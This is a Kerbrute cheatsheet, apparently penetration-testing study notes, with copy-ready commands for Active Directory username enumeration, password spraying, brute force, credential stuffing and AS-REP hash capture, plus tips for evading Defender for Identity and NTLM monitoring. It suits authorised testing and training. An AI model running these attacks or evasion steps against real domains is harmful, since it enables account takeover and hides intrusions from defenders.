AD^:Active Directory

Kerbrute

Kerbrute Kerberos pre-auth user enumeration and password spraying against a domain controller.

beginnerupdated 2026-08-09Kerbrute

Kerbrute

Warning — Common Mistake: Wrong Subcommand. The correct subcommand is kerbrute userenum — NOT kerbrute user. kerbrute user does not exist and will return an unknown command error. userenum is fully functional.

Important — Prerequisites.

  1. Network access to the Domain Controller on port 88 (UDP + TCP)
  2. Target domain name (FQDN — not NetBIOS)
  3. Relevant username wordlist or combo file
  4. Clocks within 5 minutes of KDC (Kerberos requirement)
  5. For spraying/bruteforce: know the domain lockout policy before running

Info — Kerbrute Overview. Active Directory account enumeration and credential testing tool that abuses the Kerberos AS-REQ protocol on port 88 — requires no LDAP or SMB access.

  1. Enumerates valid usernames via KRB5 pre-auth error codes — no lockout risk for enumeration
  2. Sprays a single password across many accounts
  3. Brute forces a single account with a password list
  4. Tests credential combo lists (credential stuffing)
  5. Passively captures AS-REP hashes for accounts with pre-auth disabled (free AS-REP Roasting)

Repo: https://github.com/ropnop/kerbrute — Protocol: Kerberos AS-REQ, port 88/UDP+TCP

Info — How Kerbrute userenum Works. Sends an AS-REQ for each username in the wordlist and inspects the KDC error code in the response.

KDC ResponseMeaning
KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN (code 6)User does not exist
PREAUTH_REQUIRED (code 25)User exists — pre-auth required
Any other non-code-6 errorUser exists
AS-REP hash returnedUser exists and pre-auth is disabled — hash is crackable

Installation

# Pre-built binary (Linux)
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64 && mv kerbrute_linux_amd64 /usr/local/bin/kerbrute

# Via Go
go install github.com/ropnop/kerbrute@latest

# Windows
kerbrute_windows_amd64.exe

Info — Installation Breakdown.

  1. wget — downloads the pre-built binary directly from the latest GitHub release
  2. chmod +x — makes the binary executable
  3. mv → /usr/local/bin/ — places binary in $PATH so kerbrute works globally without ./
  4. go install — alternative if the Go toolchain is available; compiles from source
  5. Windows syntax is identical — just swap the binary name

Global Flags

Apply to all subcommands.

FlagDefaultDescription
-d, --domainrequiredTarget domain (e.g. contoso.local)
--dcauto DNSKDC IP or hostname; set explicitly to avoid DNS issues
-t, --threads10Concurrent goroutines
--delay0Ms between requests; forces single thread when set
-o, --outputnoneWrite results to log file
-v, --verboseoffPrint failures in addition to successes
--hash-filenoneSave captured AS-REP hashes to file
--safeoffAbort spray/brute if any account is locked out
--downgradeoffForce RC4 (arcfour-hmac-md5); use against older DCs

Subcommands

SubcommandInputUse Case
userenumusername wordlistEnumerate valid usernames — no lockout risk
passwordsprayuser list + single passwordSpray one password across all users
bruteusersingle username + password listBrute force one account
bruteforceuser:pass combo fileMulti-account credential stuffing

userenum — Username Enumeration

Purpose: Identify valid AD accounts by abusing KRB5 pre-auth error codes — no lockout triggered.

# Basic enumeration
kerbrute userenum -d contoso.local --dc 10.10.10.100 /usr/share/seclists/Usernames/jsmith.txt

# Save valid users + grab AS-REP hashes, verbose
kerbrute userenum -d contoso.local --dc 10.10.10.100 \
  -o valid_users.txt --hash-file asrep_hashes.txt -v \
  /usr/share/seclists/Usernames/statistically-likely-usernames/jsmith.txt

# Higher thread count for larger wordlists
kerbrute userenum -d corp.local --dc 192.168.1.10 -t 50 \
  -o found.txt users.txt

# Windows
kerbrute_windows_amd64.exe userenum -d corp.local --dc 10.0.0.1 users.txt

Info — Command Breakdown (userenum).

  1. -d contoso.local — target domain FQDN (not NetBIOS name)
  2. --dc 10.10.10.100 — explicitly targets the KDC by IP, bypassing DNS resolution
  3. -o valid_users.txt — writes confirmed valid usernames to file for later stages
  4. --hash-file asrep_hashes.txt — passively captures AS-REP hashes for any pre-auth-disabled account; crack offline with hashcat -m 18200
  5. -v — shows all attempts including failures; useful for debugging
  6. -t 50 — increases concurrent goroutines; raise cautiously — high values increase detection risk

Success — Output Interpretation.

  1. VALID USERNAME — user exists in the domain
  2. AS-REP hash lines in --hash-file — account has pre-auth disabled; crack with hashcat -m 18200
  3. No output / all unknown — wrong domain name, DC unreachable, or clock skew

Tip — OPSEC (userenum).

  1. Does NOT increment the bad password counter — no lockout risk
  2. Does NOT generate Event ID 4625 (NTLM) — bypasses many legacy SIEM rules
  3. DOES generate Event ID 4768 (Kerberos TGT request) if Kerberos audit logging is enabled
  4. High volume of 4768s from a single non-domain-joined IP triggers Microsoft Defender for Identity (MDI) “Account enumeration reconnaissance” alert
  5. Lower -t and add --delay to blend traffic volume — source IP context still detectable

passwordspray — Password Spraying

Purpose: Test one password against many accounts — minimises per-account failure count to stay under the lockout threshold.

Danger — Lockout Risk: Read Before Running. Each failed attempt increments the bad password count. Always determine Account Lockout Threshold from Default Domain Policy before running. Always pass --safe to abort if any account locks out.

# Basic spray with lockout safety
kerbrute passwordspray -d contoso.local --dc 10.10.10.100 \
  --safe valid_users.txt 'Winter2025!'

# Slow spray (1 req/sec) to avoid MDI thresholds
kerbrute passwordspray -d contoso.local --dc 10.10.10.100 \
  --safe --delay 1000 -t 1 valid_users.txt 'Company123'

# Save hits
kerbrute passwordspray -d corp.local --dc 10.0.0.1 \
  --safe -o spray_hits.txt users.txt 'Password1'

Info — Command Breakdown (passwordspray).

  1. --safe — aborts the entire spray if any single account locks out; always use in production
  2. --delay 1000 — 1000 ms (1 second) between requests; forces single-thread sequential spray
  3. -t 1 — reduces to single thread; combined with --delay for maximum stealth
  4. -o spray_hits.txt — logs successful credential pairs to file
  5. Passwords with special characters must be quoted: 'P@$$w0rd' (double quotes on Windows cmd)

Success — Output Interpretation.

  1. VALID LOGIN — credential pair confirmed; account not locked
  2. LOCKED — account locked mid-spray; --safe aborts at this point
  3. No output — password incorrect for all accounts, or all requests errored

Tip — OPSEC (passwordspray).

  1. Generates Event ID 4768 (TGT request) and Event ID 4771 (pre-auth failed) per attempt
  2. MDI triggers “Brute force attack using Kerberos” at ~15 failures in 30 minutes from one source
  3. Does not generate Event ID 4625 — evades NTLM-only monitors
  4. Use --delay 3600000 (1 hour between requests) for very slow sprays in hardened environments

bruteuser — Single-Account Brute Force

Purpose: Brute force one specific account with a password list.

Danger — Lockout Risk: Read Before Running. Generates Event ID 4768 + 4771 per failure — extremely noisy. The account will lock unless --safe + --delay are used. Rarely practical against hardened AD — prefer passwordspray.

# Brute a single account
kerbrute bruteuser -d contoso.local --dc 10.10.10.100 \
  --safe jsmith /usr/share/wordlists/rockyou.txt

# With delay to stay under lockout threshold
kerbrute bruteuser -d corp.local --dc 10.0.0.1 \
  --safe --delay 5000 -t 1 administrator wordlist.txt

Info — Command Breakdown (bruteuser).

  1. jsmith — the single target username (positional argument after flags)
  2. /usr/share/wordlists/rockyou.txt — password wordlist; each line tested sequentially
  3. --safe — aborts if the account locks out mid-run
  4. --delay 5000 — 5 seconds between attempts; reduces lockout risk at the cost of time
  5. -t 1 — single thread; ensures --delay applies sequentially

bruteforce — Combo List Credential Stuffing

Purpose: Test a list of username:password pairs — useful for credential stuffing from breach data.

# Credential stuffing from breach data
kerbrute bruteforce -d contoso.local --dc 10.10.10.100 \
  --safe -o valid_creds.txt combos.txt

# Pipe from stdin
cat combos.txt | kerbrute bruteforce -d contoso.local --dc 10.10.10.100 --safe -

Info — Command Breakdown (bruteforce).

  1. combos.txt — combo file with one username:password pair per line
  2. --safe — aborts on first observed lockout; note this only catches the first locked account
  3. -o valid_creds.txt — writes confirmed valid pairs to file
  4. Stdin pipe — pass - as the file argument to read from stdin
  5. Best used with --delay in production environments

Example — Combo File Format.

jsmith:Password1
bwilson:Summer2024!
administrator:Welcome1

Tip — OPSEC (bruteforce).

  1. Same detection surface as passwordspray — generates 4768 and 4771 events
  2. Per-account lockout risk; --safe only aborts on the first observed lockout
  3. Always use --delay in production environments

Common Errors & Fixes

ErrorCauseFix
clock skew too greatKerberos requires clocks within 5 min of KDCsudo ntpdate <DC_IP> or sudo timedatectl set-ntp true
no such host / DNS errorDNS cannot resolve DC hostnameExplicitly pass --dc <IP>
kerbrute: command not foundBinary not in $PATHUse ./kerbrute or move to /usr/local/bin/
kerbrute user → unknown commandWrong subcommandCorrect subcommand is kerbrute userenum
Zero results on large wordlistWrong domain name or DC unreachableConfirm FQDN (not NetBIOS); test with a known username first
Accounts locked mid-runLockout threshold too low or spray too fastAlways pass --safe; check Default Domain Policy → Account Lockout Threshold
No successes on known-valid credsDomain name or DC routing issueTest with bruteuser against your own test account first
# Fix clock skew
sudo ntpdate <DC_IP>
# or
sudo timedatectl set-ntp true

Info — Clock Skew Fix Breakdown.

  1. ntpdate <DC_IP> — forces an immediate one-shot NTP sync against the DC’s IP directly
  2. timedatectl set-ntp true — enables the system’s persistent NTP daemon for ongoing sync
  3. Kerberos enforces a 5-minute maximum clock difference between client and KDC — non-negotiable

ListSourceBest For
jsmith.txtinsidetrust/statistically-likely-usernamesuserenum
xato-net-10-million-usernames.txtSecLists/Usernamesuserenum (large)
rockyou.txtKali /usr/share/wordlists/bruteuser
probable-v2-wpa-top4800.txtSecListspasswordspray
Custom firstname.lastname listsusername-anarchy / OSINTTargeted userenum

References

  1. ropnop/kerbrute — GitHub
  2. Event ID 4768 — Kerberos TGT Request
  3. Event ID 4771 — Kerberos Pre-auth Failed
  4. HackTricks — AS-REP Roasting
  5. MITRE ATT&CK — T1110.003 Password Spraying
  6. MITRE ATT&CK — T1087.002 Domain Account Enumeration
  7. Microsoft Defender for Identity
On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.